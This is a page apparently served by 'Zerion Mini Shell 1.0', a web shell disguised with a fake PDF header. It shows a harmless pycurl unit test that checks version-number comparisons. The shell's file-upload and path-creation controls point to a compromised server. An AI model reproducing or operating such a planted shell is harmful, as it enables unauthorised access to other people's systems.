%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/python3-pycurl/tests/
Upload File :
Create Path :
Current File : //usr/share/doc/python3-pycurl/tests/version_comparison_test.py

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vi:ts=4:et

import unittest

from . import util

class VersionComparisonTest(unittest.TestCase):
    def test_comparison(self):
        assert util.version_less_than_spec((7, 22, 0), (7, 23, 0))
        assert util.version_less_than_spec((7, 22, 0), (7, 23))
        assert util.version_less_than_spec((7, 22, 0), (7, 22, 1))
        assert not util.version_less_than_spec((7, 22, 0), (7, 22, 0))
        assert not util.version_less_than_spec((7, 22, 0), (7, 22))

Zerion Mini Shell 1.0